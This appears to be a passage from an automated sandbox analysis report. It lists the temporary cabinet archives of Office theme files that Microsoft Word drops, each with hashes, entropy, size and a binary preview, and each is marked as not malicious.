SSDEEP:	6144:k8/c2cF9GTLqsTmYstUdx+dwb2ooiVOfiI17zWbQ:jbzqGdpbZ/Mf3h68
MD5:	26BEAB9CCEAFE4FBF0B7C0362681A9D2
SHA1:	F63DD970040CA9F6CFCF5793FF7D4F1F4A69C601
SHA-256:	217EC1B6E00A24583B166026DEC480D447FB564CF3BCA81984684648C272F767
SHA-512:	2BBEA62360E21E179014045EE95C7B330A086014F582439903F960375CA7E9C0CF5C0D5BB24E94279362965CA9D6A37E6AAA6A7C5969FC1970F6C50876582BE1
Malicious:	false
Preview:	MSCF.....'......D...............]............'..H?..........z..................M{. .content.inf..l.........M{. .View.thmx......R..[...........@...G...I..(J.....B....Q!....}Ju..(BR..._\|.5.%.....6m...........?.w{.rm,....#....;Ba#.:v...Dv.."u.v{!...f}......!......:.S.......".z.f.......==.n.0Km0eh.Kbm.C.r.6.........d..h.....{..w..}....2sb...rvm..x...0(..B... ...BH.r#.@..d".*..F+...Q.sx.....?...d.d.eZ2W2.2d...q.I....4.e4....#.....K...3...1.p.y......>.~V....cm....n^..b.{..._D?..AG...'...k.L&..h}=p.....Wl....(.......>.~.].....'.4.W{......../......7.....'.s...w...6..hn..e.2.).l]u.v4...GF.X..X..X....G.i.\..y.g&.<&ti......Sp,j.....>I..S..%.y..........S..-).+...>...D..............[...d...jt.~<x.a(.MDW..a..ZI.;+..!,.$...~>#...).R4...K.$.Zm......b...........{..._..A{.}..r...X...T.ZI.T.).J...$.".U,.9...r.z.)......}...()<....m....QS.p...;?..5.W~2r.EZu..P.1.%'l.........+/6.Mm.\|2....Ty..f.o.S.....3J.._...X,..m....:..1.<GqFy.QA9W4.=....n...ZP...O.\.[...:8.%.^..H.....

C:\Users\user\AppData\Local\Temp\cab5FAF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 252241 bytes, 2 files, at 0x44 +A "content.inf" +A "Frame.thmx", flags 0x4, ID 34169, number 1, extra bytes 20 in head, 16 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	271273
Entropy (8bit):	7.995547668305345
Encrypted:	true
SSDEEP:	6144:zfdvQnJMwXse4Vradf3mrC7woyWbjKlCVC7K:zfJwJse4VrS1AK
MD5:	21437897C9B88AC2CB2BB2FEF922D191
SHA1:	0CAD3D026AF2270013F67E43CB44F0568013162D
SHA-256:	372572DCBAD590F64F5D18727757CBDF9366DDE90955C79A0FCC9F536DAB0384
SHA-512:	A74DA3775C19A7AF4A689FA4D920E416AB9F40A8BDA82CCF651DDB3EACBC5E932A120ABF55F855474CEBED0B0082F45D091E211AAEA6460424BFD23C2A445CC7
Malicious:	false
Preview:	MSCF....Q.......D...............y...........Q...XJ..........{..................M.. .content.inf.(..........M.. .Frame.thmx.1....b..[.........B.....6....ZZ}....BH..-D..}..V.V-........Z..O.....H.f..........;..@d.`......!..=;.,bp..K.q....s.y....D.qZ)p......D...r.S....s=B.4.).8B....4.a6 ...~........."....#.....}....n.Q.1cH.%c/.U....E..E...!..Da.p....X..G..:.....1.@.....W.'...._........W.c...<.v.k.....&.8......?.h.>d._:-.X.......9..tL}........3.;.N3.D~......>.^?..\|:...}......oT.z.......w..[..}:...._fu........Kk.......L..9..p..e..^......K.%...Mapqhvv..E&.^.....[...9\|"l...9...U......!..w..Nya...~C.yx...w.K..q.z.j.W?t.......DY.x.S2.....]..na.Qj...X.K..^...S.hK.W...Z....s.0...NF...8C.......j.'Zc...k.%...l....S.....OW..o.Qf.x...X.;<.rO].....W.m.e....T.1.6........".....Q.3........l..v.."..I...&......w..4vE...c.s[.3.m..8.q$.....a...)...&:6..,..#..?....;.!.....~.UP.r=.}h.&U......X...]..X.e\u.G<....E....lG.@.Z...10.D@.]....z+-.S....p..Y.PK.:.S..p.....1E`..-

C:\Users\user\AppData\Local\Temp\cab5FCF.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 291188 bytes, 2 files, at 0x44 +A "Banded.thmx" +A "content.inf", flags 0x4, ID 56338, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	307348
Entropy (8bit):	7.996451393909308
Encrypted:	true
SSDEEP:	6144:7vH3uG+yiWx0eVJyORloyyDqnHefzOs81MrXLXx7:b36yiWH/LRS2CJl1
MD5:	0EBC45AA0E67CC435D0745438371F948
SHA1:	5584210C4A8B04F9C78F703734387391D6B5B347
SHA-256:	3744BFA286CFCFF46E51E6A68823A23F55416CD6619156B5929FED1F7778F1C7
SHA-512:	31761037C723C515C1A9A404E235FE0B412222CB239B86162D17763565D0CCB010397376FB9B61B38A6AEBDD5E6857FD8383045F924AF8A83F2C9B9AF6B81407
Malicious:	false
Preview:	MSCF....tq......D...........................tq.. ?..........\|..................Mn. .Banded.thmx............Mn. .content.inf..;.u.i..[...............?....^.j.{j.B...$M/!...W....{!..^0x/.6...&............w......$.B..J.?a.$=...P..L...d..........+./.\..E:h.....-.$..u-.I..L\.M.r..Y..:rtX:....8...........+8.}{......&.-..f.f..s3-P.''.r...Z-"/E../...^%^N(,.$..$.H..O........q>...\|.\|......y..m.)u....`.....z.n..-.[.5....xL....M...O..3uCX..=4.....7.yh...dg.;..c.x.4..6..e..p.e"..,.!.St{..E..^I.9j....;..`.Y..#.0..f...G.....9~./....QCz.93..u%hz.........t9.""........)..7K.c~E!..x.E.p...[......o..O.j.c.......6.t{...".....t9V;xv....n<.F.S2.gI.#6...u..O..F.9.[.L.....K....#..zL..I...o....k...qog.......V..BKM..#.bET.)..&4..m.w.......E.a[.Q.y.B...w...r.nd...)...<..#..r[4.y...#.z.....m?.2K.^...R{..m..f......r?]..>@...ra$...C+..l].9...."..rM9=......]".'...b&2e...y..a..4....ML..f...f"..l..&.Rv=2LL..4...3t_x...G....w..I.K....s.t.....).......{ur.y2...O3.Kf.*P(..F..-.y.Z...

C:\Users\user\AppData\Local\Temp\cab5FE0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 259074 bytes, 2 files, at 0x44 +A "content.inf" +A "Dividend.thmx", flags 0x4, ID 58359, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	276650
Entropy (8bit):	7.995561338730199
Encrypted:	true
SSDEEP:	6144:H2a+HFkDF8gpmMt4kzwVVqhSYO6DITxPWgJl1CFExwXyo7N:mlZgFtIVVTuDExeWuv7N
MD5:	84D8F3848E7424CBE3801F9570E05018
SHA1:	71D7F2621DA8B295CE6885F8C7C81016D583C6B1
SHA-256:	B4BC3CD34BD328AAF68289CC0ED4D5CF8167F1EE1D7BE20232ED4747FF96A80A
SHA-512:	E27873BFD95E464CB58B3855F2DA404858B935530CF74C7F86FF8B3FC3086C2FAEA09FA479F0CA7B04D87595ED8C4D07D104426FF92DFB31BED405FA7A017DA8
Malicious:	false
Preview:	MSCF............D................................D..........~..................M. .content.inf............M. .Dividend.thmx..).}.b..[.....`.........?.R...T../..............4..yy....{...f.h..\U......sy.gV0Q.@..A..@..3a.A}........7.q.......8......R....sJ)E..ENr.SB.1..).s.r.J.D.b."..........(.....E$.V........y.5.L....;gY..QK/nni..x..3.<..Q.Q..K.I.....T.z.,F.....{.p.....;8._.&../...........X...}.;[Gk..._.i`m.u.?...s.w...4.....m......l....5..n.?..c..m...,.....{.k.?......sC.............e..1....oL.8./......1._.K:.]..&......O............qo.....Dd/c...6.q.......V.v........h....L..h..C+..V..;O.(7Z]{I%....S3.{h....\...b.......5.ES......Z.4...o.c`..YA....9i....M.s....Z3.oq`....>.i..@.@n.a...x.3.zp.<....vU/.\|^CvE...aD.P&mhvM>.p..B~....."._.......v-.m..w..?._..=...:...k....i.}x.6....Y.i..n....h...j......LZ.....fk..f0.y.T..Vl.;...s.......B6.f.'z.c.\W?...4U)..aJ.;O....L.d7.J.V#Q.....\J.F.?].d}!..y].6..%..~....\|......5...'N.#.....t6.,.E.O."..0fyz....

C:\Users\user\AppData\Local\Temp\cab6003.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 243642 bytes, 2 files, at 0x44 +A "content.inf" +A "Metropolitan.thmx", flags 0x4, ID 19054, number 1, extra bytes 20 in head, 24 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	261258
Entropy (8bit):	7.99541965268665
Encrypted:	true
SSDEEP:	6144:9blShNYrHNn0JU+D+kh8CIjXHWC7X0nZLC9Ge2KY/WfI:9ZSTYrtn0Sk+CIDHWC7chVKYx
MD5:	65828DC7BE8BA1CE61AD7142252ACC54
SHA1:	538B186EAF960A076474A64F508B6C47B7699DD3
SHA-256:	849E2E915AA61E2F831E54F337A745A5946467D539CCBD0214B4742F4E7E94FF
SHA-512:	8C129F26F77B4E73BF02DE8F9A9F432BB7E632EE4ABAD560A331C2A12DA9EF5840D737BFC1CE24FDCBB7EF39F30F98A00DD17F42C51216F37D0D237145B8DE15
Malicious:	false
Preview:	MSCF............D...............nJ...............D.................."..........M. .content.inf....."......M. .Metropolitan.thmx...cVtP..[.....`Q..B.....=.T.....h.."...Z..\|..}hZK.V....Z..Z................?..v...[S$."...H......^u.%.@...>....... f.........1.5......&lm.tZ.msz:...Noc....1....D .........b..... ..3#pVp....}oo]{m......H[%i.GNHB1D<......(# ....H"....DP..b(B.<.....v......_..`.7..;.}............/.p}.:vp....~l0..].........S....G?.....}..U.;......dNi..?........-c..J.z....Z...._.O.....C..o.,......z....F....sOs$..w9......2G..:@...'....=.....M..am.....S......(`.._....'......[..K"....BD...D...^1k.....xi...Gt....{k@.W.....AZ+(,...+..o......I.+.....D..b. T.:..{..v.....g..........L.H.`...uU~C.d...{...4.N.N..m8..v.7..3.`.....,...W...s.;.fo.8.Y...2.i...T&.-...v8..v.U.Y=...8..F.hk..E.PlI.t.8......A.R....+.]lOei..2...... gS.......%8H.....<.U.D..s.....>.....D_...../....l.......5O1S~.........B.g.++cV.z.f .R.Z.......@6....(..t^5"...#G...

C:\Users\user\AppData\Local\Temp\cab6023.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 214772 bytes, 2 files, at 0x44 +A "content.inf" +A "Parcel.thmx", flags 0x4, ID 26500, number 1, extra bytes 20 in head, 19 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	230916
Entropy (8bit):	7.994759087207758
Encrypted:	true
SSDEEP:	6144:OTIPtMXmJWnzPS3pqnkeuJXW+FNx1a72rLiQxEBTR:750nz63/FJRFLISnp+Bt
MD5:	93FA9F779520AB2D22AC4EA864B7BB34
SHA1:	D1E9F53A0E012A89978A3C9DED73FB1D380A9D8A
SHA-256:	6A3801C1D4CF0C19A990282D93AC16007F6CACB645F0E0684EF2EDAC02647833
SHA-512:	AA91B4565C88E5DA0CF294DC4A2C91EAEB6D81DCA96069DB032412E1946212A13C3580F5C0143DD28B33F4849D2C2DF2214CE1E20598D634E78663D20F03C4E6
Malicious:	false
Preview:	MSCF.....F......D................g...........F...?..........\|..................L.. .content.inf.zG.........L.. .Parcel.thmx.>2...R..[...0...........7....B+...BH....{...^.../.....B{...1....+".....<.....$........{.......sD"..j...}... P..w..U..f...6.x8. ...C..F.q.7....T.6p......B.P..L..g......A..43.W`.....{{...u.4...:.bb.4"X..m..)$..@(H. H.tBPTF..,.&.B.'...6..2...n..c%...Z@.(.@.......(.<i.i....P......?......o.......F.M.L......i.....C..7..../.....MQ.0..l.U.s.Fu.......1...p.;.(.}..ogd..<.._.Z......._.......O.J......97...~<...4.c....i..........'k.5.......Q.$..C..E... ..5.7....N.a.[ns6hi..kM....?....X......9q...!O\....0....n.^s.9.6..............;. ..r...rf..C6z..v #.H...O...v/.sl....J.m%.L.Dp.e....uO..g.y....f...].5.........W.....h^[..w.\|.=.ru.\|.M..+.-.B...D.Ma....o.<X SnI....l...{..G..,..y5\W.@..y.;.y ...M..l.....e..A...d.e!.E..3.......k1.......6gY).../....pQ..?..s.W.)+R.S5..../.0..vz.^.......k.....v..9..A.NG...N~#..$.B...s,(.o.@.ar.!.J.....

C:\Users\user\AppData\Local\Temp\cab641E.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 533290 bytes, 2 files, at 0x44 +A "content.inf" +A "Parallax.thmx", flags 0x4, ID 64081, number 1, extra bytes 20 in head, 29 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	550906
Entropy (8bit):	7.998289614787931
Encrypted:	true
SSDEEP:	12288:N4Ar9NyDhUQM0Hk86V1YnOIxQ9e6SJbj2OjK:jAG8wa5Qw6SZ2Oj
MD5:	1C12315C862A745A647DAD546EB4267E
SHA1:	B3FA11A511A634EEC92B051D04F8C1F0E84B3FD6
SHA-256:	4E2E93EBAC4AD3F8690B020040D1AE3F8E7905AB7286FC25671E07AA0282CAC0
SHA-512:	CA8916694D42BAC0AD38B453849958E524E9EED2343EBAA10DF7A8ACD13DF5977F91A4F2773F1E57900EF044CFA7AF8A94B3E2DCE734D7A467DBB192408BC240
Malicious:	false
Preview:	MSCF....#......D...............Q...........#...D..........~..................M{. .content.inf............M{. .Parallax.thmx.9... y..[......(..b.P...E.Q.R.".RTH.%.T..F......u.{.+.P.....FK0].F...a{...D4`D..V.../.P,....2.Mx...u......0...E...{A-"J...)jl_.A..T......u.Y....ZG:....V.A.#~.. ..6..............o..X..<.... .......C.ce.f!nA.).p...p........n..................'6w6H6s.j....l...{?.h..........]..l.....v....%..l}A..................3...W_73.j......6...F.../..qG.?........H..).........7.&km....`m2..m.W.q.<../~<..6.78..X~.e+..CCw...T...6....AB..l..._.f......s.e....2....H..r.R.Z....a.,..\Q.q..._SJJ....7.S.R....=f..>....9=....NnC.....].-...\..Z..q..j...q.....Nj..^'..k...Zl.~PRvpz.J..+.C...k.z.w=l.#.............n...C..s.kM.@B{..vL.e....E..(/......f...g..=..V...}...).=s.....y!.,...X.[..[.....\31}..D%...%..+G66.j.v./.e9...P;.o.y..U+...g.g.S.../..B._L..h...Oi.._...:..5ls>>........n6.F.Q..v>..P.r:.a..Z....a...x..D....N...i..=L.u......<;Nv.X/.

C:\Users\user\AppData\Local\Temp\cab64DB.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 624532 bytes, 2 files, at 0x44 +A "content.inf" +A "Quotable.thmx", flags 0x4, ID 13510, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	640684
Entropy (8bit):	7.99860205353102
Encrypted:	true
SSDEEP:	12288:eV7ivfl+kbkIrWu+2aoRjwv/cSUWauGPo2v65s4QqcT3ZCCz6CSj8aC:fdhr1+3y4MWaC2CO4V+3ZCCDsO
MD5:	F93364EEC6C4FFA5768DE545A2C34F07
SHA1:	166398552F6B7F4509732E148F93E207DD60420B
SHA-256:	296B915148B29751E68687AE37D3FAFD9FFDDF458C48EB059A964D8F2291E899
SHA-512:	4F0965B4C5F543B857D9A44C7A125DDD3E8B74837A0FDD80C1FDC841BF22FC4CE4ADB83ACA8AA65A64F8AE6D764FA7B45B58556F44CFCE92BFAC43762A3BC5F4
Malicious:	false
Preview:	MSCF............D................4...............?..........~..................M. .content.inf."..........M. .Quotable.thmx..^.u.n..[...............&...U..F.......UU.M.T5.UUQS..j..#>43fD.....`....Vr......19'...P..j.-...6n.0c....4$.c....$.4.k3aQ$.lCN.#.[.."qc....,Z...,Qt@!.@...... ...H.......9.9.y.{....[.`..s3.5.....B....W.g.d...[uv.UW..............P.8.(.?......3.....'/F...0...8.P. .O..B....K...g..L.......#s...%..\|4.i....?.3b.".....g...?.........2.O23..'..O~.+..{...C.n.L......3......Y.L...?K...o......g....@.]...T..sU.....<.._.<G.......Tu.U2..v.&..<..^..e.].cY;..9.%..}...I.y.;...WM...3>.:.=.\|.-.AtT2OJ.I.#...#.y....A....\]$r...lM.%5.."...+7M..J.....c...".&$.... Y.r.B;..81B. +H...b....@7K..F.Z...v..=..ES.f.~.."...f..ho.X.E.a`~...C>.&..@\.[....(.....h..]...9&...sd.H .1.x.2..t.rj..o..A..^qF.S9.5.....E.{...C\|.w.c/V...0Q.M...........O.7;A4u...R..Z.B.7a.C`....p.z.....f!\|.u.3t....2e.wWH..'7p....E_...e.._;..k....&E.^.f=V..{..al.y:.4a...+.g...-..>e

C:\Users\user\AppData\Local\Temp\cab652B.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 704319 bytes, 2 files, at 0x44 +A "content.inf" +A "Wood_Type.thmx", flags 0x4, ID 5778, number 1, extra bytes 20 in head, 51 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	723359
Entropy (8bit):	7.997550445816903
Encrypted:	true
SSDEEP:	12288:NPnBZX7wR3tMwYqNDQGnXTtfzO5U7yo6O7bLhe8yE3LLDok4a:JBMbYE7xzO5U917bLh/DL3oJa
MD5:	748A53C6BDD5CE97BD54A76C7A334286
SHA1:	7DD9EEDB13AC187E375AD70F0622518662C61D9F
SHA-256:	9AF92B1671772E8E781B58217DAB481F0AFBCF646DE36BC1BFFC7D411D14E351
SHA-512:	EC8601D1A0DBD5D79C67AF2E90FAD44BBC0B890412842BF69065A2C7CB16C12B1C5FF594135C7B67B830779645801DA20C9BE8D629B6AD8A3BA656E0598F0540
Malicious:	false
Preview:	MSCF....?.......D...........................?...`J..............3..............M.. .content.inf..+.........M.. .Wood_Type.thmx......r..[.........................!.wwwwqwwwwwwwwwww..."....+......nR..x..\..w..r.5R.....(\|.>.$e3.!..g....f..`9NL......o./.O.bxI...7.....\|........6.n."J.....4^g.........?...................o.......s3.....8. .T.j...._.Z.Q.t.k,(o.c.t.......?Z....`o........?.a....6.)....6b..../.t...........Mz....q}......C.......+{.......o...K.tQjt............7.._....O.....\....` ..............@..`....%..t....V.]........m..m....u..1.yr;..t..F.'..+{....zqvd.g._..$H..Vl...m..../....g..rG.....:......8....h...[...a06...U.W....5.Z.W..1I..#.2.....B3...x....$PRh...\{J.c.v.y..5+Y.W.N..hG......<..F..W.d8_....c...g....p\|7.]..^.o.H.[$Zj..{4......m.KZ..n.T%...4.Z..Y."q7?kuB......U....).~.......W%..!.e.U.mp.o...h...?.w...T.s.YG#......Y.}....Z.O.i.r,...n..4.\....P..m..=....f........v....g....j....wP..4.VK.y.z...C..oum.b.1......?.Z.>.7.!?......A..Q>..Z....-

C:\Users\user\AppData\Local\Temp\cab6608.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 279287 bytes, 2 files, at 0x44 +A "Basis.thmx" +A "content.inf", flags 0x4, ID 55632, number 1, extra bytes 20 in head, 18 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	295527
Entropy (8bit):	7.996203550147553
Encrypted:	true
SSDEEP:	6144:nwVaEqsf23c9shf6UyOGgDWDn/p3fd+zkPWnvGL3n9bQnkmVheyqtkl:MlPfW6sVEDn/pPdhWnvGL36zyyqal
MD5:	9A07035EF802BF89F6ED254D0DB02AB0
SHA1:	9A48C1962B5CF1EE37FEEC861A5B51CE11091E78
SHA-256:	6CB03CEBAB2C28BF5318B13EEEE49FBED8DCEDAF771DE78126D1BFE9BD81C674
SHA-512:	BE13D6D88C68FA16390B04130838D69CDB6169DC16AF0E198C905B22C25B345C541F8FCCD4690D88BE89383C19943B34EDC67793F5EB90A97CD6F6ECCB757F87
Malicious:	false
Preview:	MSCF.....B......D...............P............B..p?..........{.................M.. .Basis.thmx...........M.. .content.inf.`g..td..[...............5..$..WM.....R.......H\.+\./^...x.^..h..MU..\........v........+......g...$.......g.....~....U].7..T..1k.H...1...c.P.rp.6K..&......,.............U4.WoG.w.....;.....v..922.;]..5_-]..%E]b..5]... (..H..II..ttA4Q..BI!\|...H.7J.2D....R.......CXhi`n....6..G.~&.[..N...v..Z"t.a..K..3..).w...._@.}.}.v.......4......h....R;.8.c&.F...B^....Q.....!Bm2...F.`.......M;...#.{....c...?...e...6t..C.-.E.V.v%I..H.....m.n...$D.....vU'.....=6}~...Gw...Y..?.@......G.....k......z...5d.h......1.}..O*;e..t......Y.0...3.v).X.-.2.....~....14.[.w=I....hN....eD..7G.u.z..7.do..!....d..o.wQ.:....@/.^..<e.-..=\.....6.C.'.rW$..Cp.M3.u6z......Q.F.9.5....juc..I...m4]7L....+n......).t......2[.3.p.:.....O5y..wA........^..!..H....{..S.3w.!&.'.;...(..\|m.x.S..Z.j..3...n..WU...../w.......xe=.+.D...x..qy.S.....E..... ...uu.`.,..<.6[p

C:\Users\user\AppData\Local\Temp\cab6677.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 682092 bytes, 2 files, at 0x44 +A "Berlin.thmx" +A "content.inf", flags 0x4, ID 46672, number 1, extra bytes 20 in head, 30 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	698244
Entropy (8bit):	7.997838239368002
Encrypted:	true
SSDEEP:	12288:bUfKzAwwP7XAMWtr4FvMRt4lX0hnBdThiSb32+TdysrQgn7v4EemC6:sr7AMkJ34xu1bm4ZrQaY6
MD5:	E29CE2663A56A1444EAA3732FFB82940
SHA1:	767A14B51BE74D443B5A3FEFF4D870C61CB76501
SHA-256:	3732EB6166945DB2BF792DA04199B5C4A0FB3C96621ECBFDEAF2EA1699BA88EE
SHA-512:	6BC420F3A69E03D01A955570DC0656C83C9E842C99CF7B429122E612E1E54875C61063843D8A24DB7EC2035626F02DDABF6D84FC3902184C1EFF3583DBB4D3D8
Malicious:	false
Preview:	MSCF....lh......D...............P...........lh...?..........\|..................M. .Berlin.thmx............M. .content.inf..lH.lj..[...............7.I..)........P..5x.B/^y5.xk^^......D.F........s....y...?D..........&....".o..pl..Q.jm?_...6......=%.p.{.)S..y...$......,4..>#.........)..."-....K....4.E...L=.......4..p.c..nQ.0..ZO.#.....e.N..`U......oS....V..X[t.E)\|.h..R....$..}.{.F.7....^.....w.,...5rBR.....{.......mi...h.b......w+..;.hV......q..(.7&.Z.l...C."j........[-E4h.....v&..~.p$\|\X...8.....Fj'%,.)6w...u\|C..,y..E..`Up../(....2.(....Z.....,.'...d..s..Z....5.g.?Nq..04...f...D.x....q+.b.."v`{.NL....C..... ..n......1N+.I.{W9....2r.0...BaC.....O..=...k..."..8.D\jK.B...Aj....6,B..2...I.. B..^.4..1.K+.....DP...Mr....9..x[...>........?.Zd..'._2.._..>..'.F..#.w...2..~.\|........q_Wy.W.....~..Qex.km/..f......t.q..p..gm.\|.x.... ,.#\Z....p....a.}...%..v.J.Es......I.b.P?...0......F.x....E..j..6.%..E..-O.k...b .^.h.Cv...Z....D.n.d:.d.F..x...[1...B..

C:\Users\user\AppData\Local\Temp\cab68EA.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1049713 bytes, 2 files, at 0x44 +A "content.inf" +A "Savon.thmx", flags 0x4, ID 60609, number 1, extra bytes 20 in head, 37 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1065873
Entropy (8bit):	7.998277814657051
Encrypted:	true
SSDEEP:	24576:qehtHA3nsAOx7yN7THwxdGpkw8R60aTcua5U4c:hhmnsBMNAxdGpV5za5Uv
MD5:	E1101CCA6E3FEDB28B57AF4C41B50D37
SHA1:	990421B1D858B756E6695B004B26CDCCAE478C23
SHA-256:	69B2675E47917A9469F771D0C634BD62B2DFA0F5D4AF3FD7AFE9196BF889C19E
SHA-512:	B1EDEA65B6D0705A298BFF85FC894A11C1F86B43FAC3C2149D0BD4A13EDCD744AF337957CBC21A33AB7A948C11EA9F389F3A896B6B1423A504E7028C71300C44
Malicious:	false
Preview:	MSCF....q.......D...........................q... ?..........{...%..............M. .content.inf.Q_.........M. .Savon.thmx...O>.o..[..............&.5....UUcC.C....A...`TU...F....".54.E.....g.-.7-D....1g...p.6......@..w(....h'?.....(..........p..J.2n$4.........A......?...........@.C.W.R.5X..:....I..?....r.y..~!.....!.A.a...!........O.........5.x<C...?.?....C.C.......'....F../....../.$................4.7...................P...(.w.}6.........7.....01.1r........._..?.............'.._..JOx.CFA<.........0..2.?...>F.../...;..6-8..4...8&yb....".1%..v'..N...x......}.gYb..~L.....f[..!......Y.G.....p..r...?.p...F.Vy.....o.Whll...+...M.V...:.]...B.%.H....n..@.].zaVxf...y{.@....V.t.W....$Kp-.....7W.J..h..0A3mK.=.ub..R...W......*'T2..G#G,.^..T..XZu...U. ...76.d..#.I.JB.v...d...%.....6..O.K.[.:.L.\.....1.D..2a.>f......X...b5...ZgN.u.f...a!..."...sx....>..?.a.3.8.^._q..JS1.E..9..Lg.n.+....lE.f:j.9)Q..H1=..<.R.......{c>:.p[..S.9h.a.gL.U....8.z..z.!.....2I.~.b..2..c...

C:\Users\user\AppData\Local\Temp\cab68FB.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 937309 bytes, 2 files, at 0x44 +A "content.inf" +A "Gallery.thmx", flags 0x4, ID 44349, number 1, extra bytes 20 in head, 34 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	953453
Entropy (8bit):	7.99899040756787
Encrypted:	true
SSDEEP:	24576:9B1Onw3vg7aeYPagzbJ5Vhv6LnV2Dhl7GEYqVjcyd:vww3o7BYPJbJ5Vh6UCqZfd
MD5:	D4EAC009E9E7B64B8B001AE82B8102FA
SHA1:	D8D166494D5813DB20EA1231DA4B1F8A9B312119
SHA-256:	8B0631DA4DC79E036251379A0A68C3BA977F14BCC797BA0EB9692F8BB90DDB4D
SHA-512:	561653F9920661027D006E7DEF7FB27DE23B934E4860E0DF78C97D183B7CEBD9DCE0D395E2018EEF1C02FC6818A179A661E18A2C26C4180AFEE5EF4F9C9C6035
Malicious:	false
Preview:	MSCF....]M......D...............=...........]M...?..........}..."..............Li. .content.inf............Li. .Gallery.thmx.].(.Vq..[.....0Y..........v.....w.wwwww.wwwwww.w.....".83....y8..mg...o..U..N(..@uD.:O<........{.G....~~.....c.c.5..6./\|G .@#1O.B.............PT@...b.d.~..U....B.{.........0.H.....`.H.`..'S.......Ic..W..x...z....... .........g......._....o......S......p...$....._........._...K......x..?.6.U~...'./.r.................../.......5.8..2........2b.@j ....0.........``....H... ,5...........X........\|..Y.QoiW..\|.......x.sO8...Yb....7...m..b.f.hv..b......=...:Ar.-...[..A\.D..g..u....].9..M...'.R-`.....<..+.....]...1.^..I.z..W{.._....L.. ...4;..6O.....9,.-.Vt+b/$7..}.O05.Y...-..S.....$.....1."Z.r;.!..E.mMN..s .U...P%.[.P...cU...j...h.d.../.s..N/..:..X...p5.7\}h.Q ..._.F.X.C..z$.nV..+.k..\|.@.L...&.........^#.G.a..x..w!wx.8e+..E. i..$?9..8...:......\|..[."..y..&y..?...W....s..._...3Z0c.....i.q.........1c.jI....W..^%xH.._...n.......&J..

C:\Users\user\AppData\Local\Temp\cab6A94.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, many, 1081343 bytes, 2 files, at 0x44 +A "Circuit.thmx" +A "content.inf", flags 0x4, ID 11309, number 1, extra bytes 20 in head, 45 datablocks, 0x1503 compression
Category:	dropped
Size (bytes):	1097591
Entropy (8bit):	7.99825462915052
Encrypted:	true
SSDEEP:	24576:UE9BMy98gA4cDWHkSrDans3MfEE6w8OaVuCibol0j41dwD:UE9Bdy3D4keQWt7w85VuVoaj4/Q
MD5:	BF95E967E7D1CEC8EFE426BC0127D3DE
SHA1:	BA44C5500A36D748A9A60A23DB47116D37FD61BC
SHA-256:	4C3B008E0EB10A722D8FEDB325BFB97EDAA609B1E901295F224DD4CB4DF5FC26
SHA-512:	0697E394ABAC429B00C3A4F8DB9F509E5D45FF91F3C2AF2C2A330D465825F058778C06B129865B6107A0731762AD73777389BB0E319B53E6B28C363232FA2CE8
Malicious:	false
Preview:	MSCF............D...............-,..............x?..........}...-...RU.........M. .Circuit.thmx.....RU.....M. .content.inf.g...&\|..[......=..R.....=.,.!QA?h..Q.!....Uk!.HJ.......VKuk.....q.w.w.U.....;...K.@.URA..0..B..\|rv.ND(.`{..@.1.}...s?.....-...O.(V.w..1..a.....aW...a.Z..aX....5.I...!..........(. ./.d...me.( ..f.........w.......Xp.s....c..vB.98.....C.J......V ..ML.M...B.n.>...\|....u!.5@t..q4....(K...u qL.S....>/%v%.2..TF.].e..'..-..L.N..c].a..(WU\o.%^..;...\|o.6..L..[..;&....^p.Lu.sr,-.R=.:.8.>VOB...:.?$.h.o....Zh.h....`.B.c.../K......b^...;2..bY.[.V.Q8....@..V7....I0c.cQN7..I.p..}..!..M....1K....+....9.2......a..W.V..........;.J .i......]%O.-......CeQ.0.c....MbP3.0.w..8w..Y...\|...H;#.J.+M......>.`y..aWk\|.i.BF.pJv;.....S..6....F.....RLG~..........J.=......"..........H.....h..o...u........M.6F?.F.p.B.>./*l....J.R..#P.....K......<iu..gm^..n...#c..zO"7M.O......4'>A..(.E.Cy.N.)....6.tx.r[.....7.......m.t..E?.....5.5.6.\..{.V.T.D.j..=~a^.I

C:\Users\user\AppData\Local\Temp\cab6B52.tmp

Download File

